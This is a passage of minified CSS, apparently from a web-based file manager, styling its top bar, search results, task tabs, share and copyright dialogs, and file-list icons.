!important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content 